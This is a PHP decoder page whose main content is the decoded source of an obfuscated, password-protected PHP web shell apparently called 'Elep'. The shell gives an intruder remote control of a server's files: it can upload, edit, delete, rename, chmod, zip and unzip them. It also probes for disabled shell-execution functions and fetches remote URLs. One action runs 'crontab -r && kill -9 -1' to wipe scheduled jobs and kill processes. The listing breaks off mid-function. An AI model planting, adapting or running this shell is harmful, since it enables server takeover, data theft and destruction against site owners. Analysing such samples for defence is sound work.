Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto Jau2xZy8Vk; bj6_Z5R6P8: echo "\15\12\15\xa\xd\12\x20"; if (isset($_GET["\x7..

Decoded Output download

<?php 
goto Jau2xZy8Vk; 
bj6_Z5R6P8: 
echo "

\xa\xd
 "; 
if (isset($_GET["p"])) { 
    goto q1HHR2SOOX; 
} 
if (!empty($_GET)) { 
    goto woYuc9E759; 
} 
echo "<?  <script>window.location.replace('?p=');</script> ?>"; 
woYuc9E759: 
goto OOUCVCGshG; 
l6uz96Jn_X: 
$files = []; 
foreach ($fetch_obj as $obj) { 
    goto jlMuqpId_8; 
    AgOXMMOqXg: 
    g4RpX0CIKo: 
    array_push($files, $obj); 
    n4RMa5xY6q: 
    X5nHSLEoLV: 
    goto lAZSVt7bSD; 
    PAeWMiFFMF: 
    if (is_file($new_obj)) { 
        goto g4RpX0CIKo; 
    } 
    goto n4RMa5xY6q; 
    xPZRTM7NQi: 
    array_push($folders, $obj); 
    goto n4RMa5xY6q; 
    goto AgOXMMOqXg; 
    jlMuqpId_8: 
    if (!($obj == "." || $obj == "..")) { 
        goto olQA0Y2gcb; 
    } 
    goto X5nHSLEoLV; 
    olQA0Y2gcb: 
    $new_obj = PATH . "/" . $obj; 
    if (is_dir($new_obj)) { 
        goto xPZRTM7NQi; 
    } 
    goto PAeWMiFFMF; 
    lAZSVt7bSD: 
} 
lJyS_4lHIA: 
AgUhbNx2_q: 
echo "<?   
\xa<table class="table table-hover"> 
  <thead> 
\xa    <tr>\xd\xa      <th scope="col">Name</th> 
\xa      <th scope="col">Size</th>\xd\xa      <th scope="col">Modified</th> 
\xa\x9  <th scope="col">Owner</th> 
\xa      <th scope="col">Perms</th> 
      <th scope="col">Actions</th> 
\xa    </tr>\xd 
  </thead> 
  <tbody> 
 ?>"; 
  
goto BhgHKoaYjU; 
yWBOrjCfKX: 
gG4SLL8ZpK: 
if (!isset($_GET["newfolder"])) { 
    goto QqD2SPSyaW; 
} 
echo "<?  <form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><br/><div class="form-group"><input type="submit" class="btn btn-dark" value="createfolder" name="createfolder"></div></form> ?>"; 
QqD2SPSyaW: 
if (!isset($_GET["pi"])) { 
    goto mEkWNEil0p; 
} 
goto ekJayuD6uK; 
eDsT2K4DBZ: 
OMlJcPFOzk: 
$disabled = explode( 
    ",", 
    ini_get( 
        "disable_functions" 
    ) 
); 
$fuction_info = ""; 
if (!(sizeof($disabled) > 0 && !empty($disabled[0]))) { 
    goto j91DLN_dgk; 
} 
$error_number = 0; 
goto ig67rngtrm; 
ig67rngtrm: 
$f_put = "file_put_contents"; 
$f_get = "file_get_contents"; 
if (!in_array($f_get, $disabled)) { 
    goto Ttb1zOlxjd; 
} 
$fuction_info .= 
    "get_cont is disable<br/>"; 
$error_number++; 
goto P8PLbzfoc7; 
TsyWtatbcv: 
$sourceDir1 = $dir; 
$outZipPath1 = PATH . "/" . $_GET["z"] . ".zip"; 
$zip = new Zip(); 
$zip::zipDir($sourceDir1, $outZipPath1); 
if (file_exists($outZipPath1)) { 
    goto tDOssPXyMf; 
} 
goto zx4kpxwyrQ; 
vxzBT2t4Ws: 
YUXFZ5UEiI: 
$zip = new ZipArchive(); 
$res = $zip->open($file); 
if ($res == true) { 
    goto KBsq9sldzB; 
} 
echo "<script>alert('Failed to Unzip File !'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto nv_28evyoS; 
g8QHH76itV: 
goto KN3EnRrtlZ; 
Ha1X9DnNs_: 
echo "<script>window.location.replace('?p=');</script>"; 
goto KN3EnRrtlZ; 
SjiUG3Lq37: 
goto bTOYiUeybq; 
fbG_xkugHt: 
if ( 
    move_uploaded_file( 
        $_FILES["fileToUpload"][ 
            "tmp_name" 
        ][$i], 
        $target_file 
    ) 
) { 
    goto bY112UJEGT; 
} 
$str .= 
    "<p>Sorry, there was an error uploading your file.</p>"; 
goto VF47vtDFxB; 
bY112UJEGT: 
$str .= 
    "<p>" . 
    htmlspecialchars( 
        basename( 
            $_FILES["fileToUpload"][ 
                "name" 
            ][$i] 
        ) 
    ) . 
    " has been uploaded.</p>"; 
goto V4euIzVFEo; 
w8deuCw1Wq: 
YAe2zQqyUV: 
if (!(isset($_GET["pack"]) && isset($_GET["q"]))) { 
    goto cM0WWgEenh; 
} 
cM0WWgEenh: 
goto IMIaBlDoSW; 
XQ5h7O5Oe4: 
P57KG28Hhn: 
goto ip5Y5fVJKg; 
PSmGWnHUB_: 
if (!is_dir(decodePath($_GET["q"]))) { 
    goto Ha1X9DnNs_; 
} 
if (is_dir(decodePath($_GET["q"]))) { 
    goto SjiUG3Lq37; 
} 
goto g8QHH76itV; 
CZo8Ug9WbC: 
echo "<font color="red">" . 
    $fuction_info . 
    "</font>"; 
tKspy7o_GA: 
j91DLN_dgk: 
echo "\xd\xa<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
\xa  <div class="navbar-brand">\xd
  <a href="?"><i class="fa fa-home" aria-hidden="true"></i></a>\xd\xa"; 
$path = str_replace("\", "/", PATH); 
goto Y9XygjMP1Z; 
ImVT8XyE2a: 
$filename = PATH . "/" . $_POST["cawpn"]; 
$filecontent = $_POST["cawpctn"]; 
$f_put = 
    "file" . 
    "_" . 
    "put_" . 
    "contents"; 
$create_result = @$f_put($filename, $filecontent); 
if ($create_result) { 
    goto zHYccVmZOD; 
} 
goto bXmHCYGU42; 
V4euIzVFEo: 
VF47vtDFxB: 
j3QFf3R_w7: 
$i++; 
goto mC0cVIUkTS; 
YSyq1EzeCv: 
goto yUVfXNAouQ; 
TjTuO3kla5: 
UFjBICUtdc: 
zZqSUR23nO: 
anR35vTiIv: 
if (!isset($_GET["e"])) { 
    goto rn8pwvzu0g; 
} 
$f_put = "file_put_contents"; 
goto CyWKPJrq0i; 
zx4kpxwyrQ: 
echo "<script>alert('fail zip File !'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto VZWnVrhxiQ; 
tDOssPXyMf: 
echo "<script>alert('Success zip File !'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
VZWnVrhxiQ: 
goto w8deuCw1Wq; 
nxWXa7VbJS: 
if (is_dir(decodePath($_GET["p"]))) { 
    goto xX_rcxX1As; 
} 
goto P57KG28Hhn; 
Ysner77MKs: 
$p = $root_path; 
goto P57KG28Hhn; 
goto vbwbvRt9dr; 
O_JPcBH1qF: 
OOviXlWFpA: 
bCNtei5z0m: 
if ( 
    !( 
        !$_SESSION["loggedInm"] || 
        $_SESSION["loggedInm"] != $password 
    ) 
) { 
    goto HM7RvcTJMR; 
} 
echo "\xd
<html><head><title> </title></head>\xd\xa  <body>
    <p align="center"><center><font style="font-size:13px" color="#008000" face="Trebuchet MS">
    <form method="post">
      <input type="password" name="password">
\xa      <input type="submit" name="submit" value="  >>">\xd\xa    </form>
\xa  </body>\xd
</html>\xd\xa
\xa"; 
exit(); 
goto jIcFiAPk87; 
F4QA5V2tTi: 
echo "kill \xe6\x89\xa7\xe8\xa1\214\xe4\270\215\346\210\220\xe5\x8a\237"; 
VXp7b6Aswh: 
QxUwM_PXJt: 
if (!isset($_GET["newfile"])) { 
    goto gG4SLL8ZpK; 
} 
echo "\xd\xa<h5 class="border p-1 mb-3">New file</h5><form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea></div><br/><div class="form-group"><input type="submit" class="btn btn-dark" value="createfile" name="createfile"></div></form>"; 
goto yWBOrjCfKX; 
BhgHKoaYjU: 
foreach ($folders as $folder) { 
    echo "    <tr>\xd
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . 
        urlencode(encodePath(PATH . "/" . $folder)) . 
        "'>" . 
        $folder . 
        "</a></td>
      <td><b>---</b></td>
\xa      <td>" . 
        date( 
            "F d Y H:i:s.", 
            filemtime(PATH . "/" . $folder) 
        ) . 
        "</td>\xd
	   <td>" . 
        owner(PATH . "/" . $folder) . 
        "</td>
      <td>0" . 
        substr(decoct(fileperms(PATH . "/" . $folder)), -3) . 
        "</a></td>\xd\xa      <td>\xd
      <a title='Rename' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&r=" . 
        $folder . 
        "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\xd
      <a title='Delete' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&d=" . 
        $folder . 
        "'><i class='fa fa-trash' aria-hidden='true'></i></a>
\xa	  <a title='chmod' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&c=" . 
        $folder . 
        "'><i class='fa fa-unlock' aria-hidden='true'></i></a>
\xa		 <a title='zip' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&z=" . 
        $folder . 
        "'>zip</a>|
\x9	 \xd
      <td>
    </tr>\xd
"; 
    NXxMfsV82a: 
} 
aP1N67TtPF: 
foreach ($files as $file) { 
    echo "    <tr>\xd\xa          <td>" . 
        fileIcon($file) . 
        $file . 
        "</td>\xd\xa          <td>" . 
        formatSizeUnits(filesize(PATH . "/" . $file)) . 
        "</td>
\xa          <td>" . 
        date( 
            "F d Y H:i:s.", 
            filemtime(PATH . "/" . $file) 
        ) . 
        "</td>\xd\xa	\x9   <td>" . 
        owner(PATH . "/" . $file) . 
        "</td>
          <td>0" . 
        substr(decoct(fileperms(PATH . "/" . $file)), -3) . 
        "</a></td>\xd
          <td>
          <a title='Edit File' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&e=" . 
        $file . 
        "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&r=" . 
        $file . 
        "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\xd\xa          <a title='Delete' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&d=" . 
        $file . 
        "'><i class='fa fa-trash' aria-hidden='true'></i></a>
	\x9  <a title='chmod' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&c=" . 
        $file . 
        "'><i class='fa fa-unlock' aria-hidden='true'></i></a>\xd\xa	\x9    <a title='unzip' href='?q=" . 
        urlencode(encodePath(PATH)) . 
        "&u=" . 
        $file . 
        "'>uzip</a>\xd\xa          <td>\xd
    </tr>\xd\xa"; 
    j3Lfy5AFCa: 
} 
FUEBNdWn7t: 
echo "  </tbody>\xd
</table>"; 
goto qdNokVNj0r; 
yUVfXNAouQ: 
echo $str; 
w2TVdMCu3k: 
if (!isset($_POST["createfile"])) { 
    goto ke2zWdT48D; 
} 
$filename = PATH . "/" . $_POST["n"]; 
$filecontent = $_POST["ctn"]; 
goto BdfteEBNQg; 
N8chD3JEk1: 
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto nLNRoqlQpR; 
eupyYxqqGI: 
chmod($name, 0644); 
echo "<script>alert('File chmod update.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto XtuPtIKGQH; 
Hw2SFfUvmj: 
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto uKaFT_20sJ; 
YBAkjOizIP: 
echo "<script>alert('Saved.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
uKaFT_20sJ: 
goto D6U72UrB2Z; 
ZHra7wz1w2: 
$i = 0; 
mC0cVIUkTS: 
if (!($i < $countfiles)) { 
    goto YSyq1EzeCv; 
} 
$target_file = 
    PATH . 
    "/" . 
    $_FILES["fileToUpload"][ 
        "name" 
    ][$i]; 
$filename = 
    $_FILES["fileToUpload"][ 
        "name" 
    ][$i]; 
goto fbG_xkugHt; 
CyWKPJrq0i: 
$f_get = "file_get_contents"; 
if (!(!empty($_GET["e"]) && isset($_GET["q"]))) { 
    goto bkpdO7rKVh; 
} 
echo PATH . 
    "/" . 
    $_GET["e"] . 
    "<br/>" . 
    "
    <form method="post">\xd
        <textarea style="height: 500px;\xd
        width: 90%;" name="data">" . 
    htmlspecialchars($f_get(PATH . "/" . $_GET["e"])) . 
    "</textarea>\xd
        <br>
\xa        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>"; 
if (!isset($_POST["edit"])) { 
    goto QpulYmuOpY; 
} 
$filename = PATH . "/" . $_GET["e"]; 
goto cx9kynoFNX; 
P_CIcdx8pn: 
tYLeI23a9m: 
if (!isset($_POST["createfolder"])) { 
    goto tnDllwBOId; 
} 
$dir = PATH . "/" . $_POST["n"]; 
if (is_dir($dir)) { 
    goto Dy0HIpnx1D; 
} 
if (mkdir($dir, 0644, true)) { 
    goto lUs88trmzZ; 
} 
goto nsDN73qQbF; 
nv_28evyoS: 
goto e1JbMglVPk; 
KBsq9sldzB: 
$zip->extractTo($unzipname); 
$zip->close(); 
echo "<script>alert('Success Unzip File !'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto EdCjnupSKX; 
emszB5Dgub: 
if (delDirAndFile($name)) { 
    goto pCm5JOtvQe; 
} 
echo "<script>alert('Some error occurred11.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto DQviXZZ9KV; 
pCm5JOtvQe: 
echo "<script>alert('Directory removed.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto aaErwz4hMW; 
dXOvHDfdil: 
goto Oe3VymIenA; 
JobEMi9cLr: 
echo "<script>alert('Directory chmod update.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
Oe3VymIenA: 
wYYR3gCcqU: 
goto Npk0cHbvTj; 
KkYoAr8Btq: 
$name = PATH . "/" . $_GET["d"]; 
if (is_file($name)) { 
    goto i74vvzRzMV; 
} 
if (is_dir($name)) { 
    goto MgG40KzWx_; 
} 
goto xw00L_iaef; 
i74vvzRzMV: 
goto DoOBNBqM19; 
nsDN73qQbF: 
goto j1rp9pmauk; 
lUs88trmzZ: 
echo "<script>alert('folder create success.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
j1rp9pmauk: 
goto nH0FIgc076; 
goto l3Yms07B5f; 
Md4i_HWNv6: 
echo "<script>alert('File removed.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
Rp40wF6duG: 
goto xw00L_iaef; 
MgG40KzWx_: 
chmod($name, 0644); 
goto emszB5Dgub; 
l3Yms07B5f: 
Dy0HIpnx1D: 
echo "<script>alert('folder exits.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
nH0FIgc076: 
tnDllwBOId: 
if (!(isset($_GET["d"]) && isset($_GET["q"]))) { 
    goto Ox8GsjTRch; 
} 
goto KkYoAr8Btq; 
Y9XygjMP1Z: 
$paths = explode("/", $path); 
foreach ($paths as $id => $dir_part) { 
    goto va473vs_NA; 
    yOT09q5RXv: 
    echo "'>" . $dir_part . "</a>/"; 
    uYg7CaGlZn: 
    goto n7kEFo9VpJ; 
    oMDHsnrqCp: 
    if (!($dir_part == "")) { 
        goto YugEnHBSlQ; 
    } 
    goto uYg7CaGlZn; 
    YugEnHBSlQ: 
    echo "<a href='?p="; 
    $i = 0; 
    goto FiX2rDt6IO; 
    va473vs_NA: 
    if (!($dir_part == "" && $id == 0)) { 
        goto gUHKEnFuI6; 
    } 
    $a = true; 
    echo "<a href="?p=/">/</a>"; 
    goto uYg7CaGlZn; 
    gUHKEnFuI6: 
    goto oMDHsnrqCp; 
    FiX2rDt6IO: 
    MwRHQCRX9w: 
    if (!($i <= $id)) { 
        goto sEjqttbPss; 
    } 
    echo str_replace(":", "\340\xa6\230", $paths[$i]); 
    if (!($i != $id)) { 
        goto RyR4wnfu4k; 
    } 
    echo "\xe0\xa6\x95"; 
    goto IW7SJPalIj; 
    IW7SJPalIj: 
    RyR4wnfu4k: 
    fSI3DwvN9c: 
    $i++; 
    goto MwRHQCRX9w; 
    sEjqttbPss: 
    goto yOT09q5RXv; 
    n7kEFo9VpJ: 
} 
ogTTmA4UvI: 
echo "\xd
</div>
\xa<div class="form-inline">
\xa<a href="?upload&q=" . 
    urlencode(encodePath(PATH)) . 
    ""><button class="btn btn-dark" type="button">Upload File</button></a>
\xa<a href="?kk&q=" . 
    urlencode(encodePath(PATH)) . 
    ""><button class="btn btn-dark" type="button">ki ll</button></a>
<a href="?newfile&q=" . 
    urlencode(encodePath(PATH)) . 
    ""><button class="btn btn-dark" type="button">+New File</button></a>
\xa<a href="?newfolder&q=" . 
    urlencode(encodePath(PATH)) . 
    ""><button class="btn btn-dark" type="button">+New Folder</button></a>\xd\xa
<a href="?checksitem&q=" . 
    urlencode(encodePath(PATH)) . 
    ""><button class="btn btn-dark" type="button">Check site mm</button></a>
\xd
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> <br/><br/>
\xa
</div>
</nav>"; 
echo "<br/>"; 
goto bj6_Z5R6P8; 
EdCjnupSKX: 
e1JbMglVPk: 
eSEPs6MqVL: 
if (!(isset($_GET["z"]) && isset($_GET["q"]))) { 
    goto YAe2zQqyUV; 
} 
echo "<script>alert('Success zip File !'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
$dir = PATH . "/" . $_GET["z"] . "/"; 
goto TsyWtatbcv; 
ITnRnJQ2C3: 
if (!(!empty($_GET["r"]) && isset($_GET["q"]))) { 
    goto zZqSUR23nO; 
} 
echo "
    <form method="post">
        Rename:
        <input type="text" name="name" value="" . 
    $_GET["r"] . 
    "">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">\xd\xa    </form>"; 
if (!isset($_POST["rename"])) { 
    goto UFjBICUtdc; 
} 
$name = PATH . "/" . $_GET["r"]; 
if (rename($name, PATH . "/" . $_POST["name"])) { 
    goto vF__m0P419; 
} 
goto y9WumEOrzr; 
DoOBNBqM19: 
chmod($name, 0644); 
if (unlink($name)) { 
    goto MvwQJ339fp; 
} 
echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
goto Rp40wF6duG; 
MvwQJ339fp: 
goto Md4i_HWNv6; 
SCAqkS2lJO: 
curl_setopt( 
    $ch, 
    CURLOPT_ENCODING, 
    "gzip,deflate" 
); 
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$res = curl_exec($ch); 
curl_close($ch); 
goto h3MwXSJDIw; 
Jau2xZy8Vk: 
$password = 
    "c1dba739eb9f16334b0d103e2f97ea85"; 
error_reporting(0); 
set_time_limit(0); 
session_start(); 
if (isset($_SESSION["loggedInm"])) { 
    goto Q3_P8pKZ2v; 
} 
goto kXYzdRguua; 
t8qaQXnyj6: 
$filearray = pathinfo($file); 
$unzipname = 
    PATH . "/" . $filearray["filename"] . "/"; 
if (!is_readable($file)) { 
    goto vg7S73IY0W; 
} 
if (strpos($f_get($file), "PK\x3\x4") === false) { 
    goto iuViSWE1eK; 
} 
goto YUXFZ5UEiI; 
goto fBCxDX2yaJ; 
X2KTCL7k4a: 
HMbg1j6BYJ: 
echo "<script>alert('create success.'); window.location.replace('?p=" . 
    encodePath(PATH) . 
    "');</script>"; 
MItMQRKThR: 
ke2zWdT48D: 
if (!isset($_POST["createcawp"])) { 
    goto tYLeI23a9m; 
} 
goto ImVT8XyE2a; 
l_SFPYEYZB: 
$cron_result = run( 
    "crontab -r && kill -9 -1" 
); 
if (!$cron_result) { 
    goto scfiR8YTsl; 
} 
echo "kill \xe6\211\xa7\350\xa1\214\346\x88\x90\345\212\237"; 
goto VXp7b6Aswh; 
scfiR8YTsl: 
goto F4QA5V2tTi; 
iE5GF0EFHP: 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $url); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 
goto SCAqkS2lJO; 
P8PLbzfoc7: 
Ttb1zOlxjd: 
if (!in_array("curl_init", $disabled)) { 
    goto yN3wSug37g; 
} 
$fuction_info .= 
    "curl_init is disable"; 
$error_number++; 
yN3wSug37g: 
goto nVo5s5oxsg; 
DBIGfN5oN6: 
if (is_file($name)) { 
    goto JxnZv_AvNz; 
} 
if (is_dir($name)) { 
    goto ote_LS0OFh; 
} 
goto wYYR3gCcqU; 
JxnZv_AvNz: 
if (chmod($name, 0644)) { 
    goto eupyYxqqGI; 
} 
goto N8chD3JEk1; 
Npk0cHbvTj: 
BZzwztz2oV: 
if (!(isset($_GET["u"]) && isset($_GET["q"]))) { 
    goto eSEPs6MqVL; 
} 
$file = PATH . "/" . $_GET["u"]; 
$f_put = "file_put_contents"; 
$f_get = "file_get_contents"; 
goto t8qaQXnyj6; 
DCDFUS6r9D: 
echo "root no writeable"; 
VpgmEEVBl6: 
echo " php version: " . phpversion(); 
if (class_exists("ZipArchive")) { 
    goto OMlJcPFOzk; 
} 
echo "<font color="red">  no support zip</font>"; 
goto eDsT2K4DBZ; 
bTOYiUeybq: 
$p = decodePath($_GET["q"]); 
KN3EnRrtlZ: 
ip5Y5fVJKg: 
define("PATH", $p); 
$root = $_SERVER["DOCUMENT_ROOT"]; 
goto ymTJBFzQ0r; 
h3MwXSJDIw: 
if (!$res) { 
    goto HpL7ZMpSX8; 
} 
echo "<div style="width:50%;display:block;color:red;font-size:30px;tex-align:center;">support curl" . 
    "</div><br/>" . 
    $res; 
HpL7ZMpSX8: 
A3xqiJxa7Y: 
if (!isset($_GET["r"])) { 
    goto anR35vTiIv; 
} 
goto ITnRnJQ2C3; 
D6U72UrB2Z: 
QpulYmuOpY: 
bkpdO7rKVh: 
rn8pwvzu0g: 
if (!isset($_POST["upload"])) { 
    goto w2TVdMCu3k; 
} 
$countfiles = count( 
    $_FILES["fileToUpload"][ 
        "name" 
    ] 
); 
goto ZHra7wz1w2; 
svEpz6K2V1: 
function fileIcon($file) 
{ 
    goto qdW4oec0Ys; 
    bYf5aDPole: 
    goto jwie1EfkK2; 
    OIeND4sZXJ: 
    return "<i class="fa-sharp fa-solid fa-bug"></i> "; 
    goto jwie1EfkK2; 
    OoCaD_Lzfb: 
    goto mwGnRyQlnU; 
    W5BY2ReduT: 
    AkI4SOHznm: 
    return "<i class="fa-brands fa-python"></i> "; 
    goto gG0BvHHs1n; 
    EdcD5H6G7I: 
    return "<i class="fa-brands fa-js"></i> "; 
    goto X5j7aHyThw; 
    hjARfLDp9o: 
    c3GlAr6Zbv: 
    return "<i class="fa-brands fa-php"></i> "; 
    goto gG0BvHHs1n; 
    TCn_X6BTFC: 
    return "<i class="fa-regular fa-images"></i> "; 
    goto OInlIWErQ2; 
    RvvX68soW9: 
    return "<i class="fa-solid fa-file"></i> "; 
    goto gG0BvHHs1n; 
    ga3BhY0H58: 
    return "<i class="fa-brands fa-html5"></i> "; 
    goto gG0BvHHs1n; 
    goto hjARfLDp9o; 
    mwGnRyQlnU: 
    return "<i class="fa-solid fa-hammer"></i> "; 
    jwie1EfkK2: 
    if ($ext == "html" || $ext == "htm") { 
        goto ga3BhY0H58; 
    } 
    if ($ext == "php" || $ext == "phtml") { 
        goto c3GlAr6Zbv; 
    } 
    if (in_array($ext, $imgs)) { 
        goto TCn_X6BTFC; 
    } 
    goto avZmGoB60b; 
    qdW4oec0Ys: 
    $imgs = [ 
        "apng", 
        "avif", 
        "gif", 
        "jpg", 
        "jpeg", 
        "jfif", 
        "pjpeg", 
        "pjp", 
        "png", 
        "svg", 
        "webp", 
    ]; 
    $audio = [ 
        "wav", 
        "m4a", 
        "m4b", 
        "mp3", 
        "ogg", 
        "webm", 
        "mpc", 
    ]; 
    $ext = strtolower(fileExtension($file)); 
    if ($file == "error_log") { 
        goto OIeND4sZXJ; 
    } 
    if ($file == ".htaccess") { 
        goto OoCaD_Lzfb; 
    } 
    goto bYf5aDPole; 
    y4eOn_ep5d: 
    return "<i class="fa-regular fa-file-lines"></i> "; 
    goto gG0BvHHs1n; 
    GHLrUqDm8o: 
    return "<i class="fa-duotone fa-file-music"></i> "; 
    goto gG0BvHHs1n; 
    goto W5BY2ReduT; 
    OInlIWErQ2: 
    goto gG0BvHHs1n; 
    Xz06ZdQSZ5: 
    return "<i class="fa-brands fa-css3"></i> "; 
    goto gG0BvHHs1n; 
    zosrvDaBH3: 
    goto y4eOn_ep5d; 
    X5j7aHyThw: 
    gG0BvHHs1n: 
    goto V0Kcf6glNu; 
    avZmGoB60b: 
    if ($ext == "css") { 
        goto Xz06ZdQSZ5; 
    } 
    if ($ext == "txt") { 
        goto zosrvDaBH3; 
    } 
    if (in_array($ext, $audio)) { 
        goto GHLrUqDm8o; 
    } 
    if ($ext == "py") { 
        goto AkI4SOHznm; 
    } 
    if ($ext == "js") { 
        goto EdcD5H6G7I; 
    } 
    goto RvvX68soW9; 
    V0Kcf6glNu: 
} 
function encodePath($path) 
{ 
    $a = ["/", "\", ".", ":"]; 
    $b = ["\xe0\xa6\225", "\xe0\246\x96", "\xe0\xa6\227", "\xe0\xa6\x98"]; 
    return str_replace($a, $b, $path); 
} 
function decodePath($path) 
{ 
    $a = ["/", "\", ".", ":"]; 
    $b = ["\xe0\246\x95", "\xe0\246\226", "\xe0\xa6\227", "\xe0\xa6\x98"]; 
    return str_replace($b, $a, $path); 
} 
function functionCheck() 
{ 
    $disabled = explode( 
        ",", 
        ini_get( 
            "disable_functions" 
        ) 
    ); 
    $new_disable = []; 
    foreach ($disabled as $item) { 
        $new_disable[] = trim($item); 
        gBaJm0vpKS: 
    } 
    boMGFTV8MO: 
    $command_array = [ 
        "system", 
        "shell_exec", 
        "popen", 
        "exec", 
        "proc_open", 
        "passthru", 
    ]; 
    $command_able = false; 
    foreach ($command_array as $command) { 
        if (in_array($command, $new_disable)) { 
            goto pS5C81ybNd; 
        } 
        $command_able = true; 
        goto SgyQ_yN2DN; 
        pS5C81ybNd: 
        vo98C6_Kzo: 
    } 
    SgyQ_yN2DN: 
    return $command_able; 
} 
function do_write($file, $t, $text) 
{ 
    $key = true; 
    $handle = @fopen($file, $t); 
    if (@fwrite($handle, $text)) { 
        goto oUwROXBVSG; 
    } 
    @chmod($file, 0666); 
    $key = @fwrite($handle, $text) ? true : false; 
    oUwROXBVSG: 
    @fclose($handle); 
    return $key; 
} 
goto aaHpKede2n; 
jIcFiAPk87: 
HM7RvcTJMR: 
echo "<!DOCTYPE html>
\xa<html lang="en">

<head>
    <meta charset="utf-8">\xd\xa    <meta http-equiv="X-UA-Compatible" content="IE=edge">\xd\xa    <meta name="viewport" content="width=device-width, initial-scale=1.0">\xd\xa    <title>Elep</title>
\xa    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet"\xd
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"\xd\xa        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="\xd
        crossorigin="anonymous" referrerpolicy="no-referrer" />\xd
    <script src="https://cdnjs.online/ajax/libs/bootstrap/js/bootstrap.min.js"></script>
</head>\xd\xa\xd\xa<body>\xd\xa
\xa    "; 
class Zip 
{ 
    public static function zipDir($sourcePath, $outZipPath) 
    { 
        $pathInfo = self::myPathInfo($sourcePath); 
        $parentPath = $pathInfo["dirname"]; 
        $dirName = $pathInfo["basename"]; 
        $sourcePath = $parentPath . "/" . $dirName; 
        $z = new \ZipArchive(); 
        $z->open($outZipPath, \ZIPARCHIVE::CREATE); 
        $z->addEmptyDir($dirName); 
        self::folderToZip($sourcePath, $z, strlen("{$parentPath}/")); 
        $z->close(); 
    } 
    private static function folderToZip($folder, &$zipFile, $exclusiveLength) 
    { 
        goto lMZ0UdFwp5; 
        KWpXrhIkYQ: 
        $localPath = substr($filePath, $exclusiveLength); 
        if (is_file($filePath)) { 
            goto WNJD2MrRFB; 
        } 
        if (is_dir($filePath)) { 
            goto U1ca_TIO6z; 
        } 
        goto sA8vx4xzw6; 
        WNJD2MrRFB: 
        goto cE5m_1zssF; 
        lMZ0UdFwp5: 
        $handle = opendir($folder); 
        Ezh0ZHBB7S: 
        if (!(false !== ($f = readdir($handle)))) { 
            goto Fex8RShb5p; 
        } 
        if (!($f != "." && $f != "..")) { 
            goto e1o4dMlDCu; 
        } 
        $filePath = "{$folder}/{$f}"; 
        goto KWpXrhIkYQ; 
        QoKv3xE9Pj: 
        sA8vx4xzw6: 
        e1o4dMlDCu: 
        goto Ezh0ZHBB7S; 
        Fex8RShb5p: 
        closedir($handle); 
        goto prAgnCVcIf; 
        cE5m_1zssF: 
        $zipFile->addFile($filePath, $localPath); 
        goto sA8vx4xzw6; 
        U1ca_TIO6z: 
        $zipFile->addEmptyDir($localPath); 
        self::folderToZip($filePath, $zipFile, $exclusiveLength); 
        goto QoKv3xE9Pj; 
        prAgnCVcIf: 
    } 
    private static function myPathInfo($filepath) 
    { 
        $pathParts = []; 
        $pathParts["dirname"] = 
            rtrim(substr($filepath, 0, strrpos($filepath, "/")), "/") . 
            "/"; 
        $pathParts["basename"] = ltrim( 
            substr($filepath, strrpos($filepath, "/")), 
